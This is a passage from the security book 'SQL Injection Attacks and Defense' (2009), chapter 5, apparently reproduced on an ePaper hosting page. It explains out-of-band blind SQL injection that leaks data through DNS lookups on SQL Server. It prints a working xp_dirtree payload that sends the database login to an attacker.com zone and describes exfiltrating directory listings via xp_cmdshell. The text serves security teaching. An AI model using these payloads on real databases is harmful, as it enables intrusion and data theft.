28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Blind <strong>SQL</strong> <strong>Injection</strong> Exploitation • Chapter 5 253<br />

free.attacker.com.victim.com.<br />

free.attacker.com.<br />

Clearly the exploit had problems; you do not receive all output from the “dir” comm<strong>and</strong>,<br />

as only the fifth space-delimited token is returned from each line, <strong>and</strong> this method cannot<br />

h<strong>and</strong>le file or directory names that have spaces or other disallowed domain name characters.<br />

The observant reader would also have noticed that each filename is queried twice <strong>and</strong> the<br />

first query is always against the domain victim.com.<br />

No t e<br />

This is the default search domain for the database machines. You can prevent<br />

lookups on the default domain by appending a period (.) to the name that is<br />

passed to nslookup.<br />

Other stored procedures will cause an <strong>SQL</strong> server to look up a DNS name, <strong>and</strong> they<br />

rely on the support built into Windows for network Universal Naming Convention (UNC)<br />

paths. Many Windows file-h<strong>and</strong>ling routines can access resources on UNC shares, <strong>and</strong> when<br />

attempting to connect to a UNC path the operating system must first look up the IP<br />

address. For instance, if the UNC path supplied to some file-h<strong>and</strong>ling function is \\poke.<br />

attacker.com\blah, the operating system will first perform a DNS lookup on poke.attacker.<br />

com. By monitoring the server that is authoritative for the attacker.com zone, the attacker<br />

can ascertain whether the exploit was successful. The procedures are specific to <strong>SQL</strong> Server<br />

versions:<br />

■■<br />

■■<br />

■■<br />

xp_getfiledetails (<strong>SQL</strong> Server 2000; requires a path to a file)<br />

xp_ fileexist (<strong>SQL</strong> Server 2000, 2005, <strong>and</strong> 2008; requires a path to a file)<br />

xp_dirtree (<strong>SQL</strong> Server 2000, 2005, <strong>and</strong> 2008; requires a folder path)<br />

For instance, to extract the database login via DNS, you could use:<br />

DECLARE @a CHAR(128);SET @a='\\'+SYSTEM_USER+'.attacker.com.';<br />

EXEC master..xp_dirtree @a<br />

The preceding snippet used an intermediate variable to store the path, because string<br />

concatenation is not permitted in the procedure’s argument list. The <strong>SQL</strong> indirectly caused<br />

a DNS lookup for the host name sa.attacker.com. indicating that the administrative login<br />

was used.<br />

As I pointed out when performing DNS lookups through xp_cmdshell, the presence of<br />

illegal characters in a path will cause the resolver stub to fail without attempting a lookup,<br />

as will a UNC path that is more than 128 characters long. It is safer to first convert data you

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!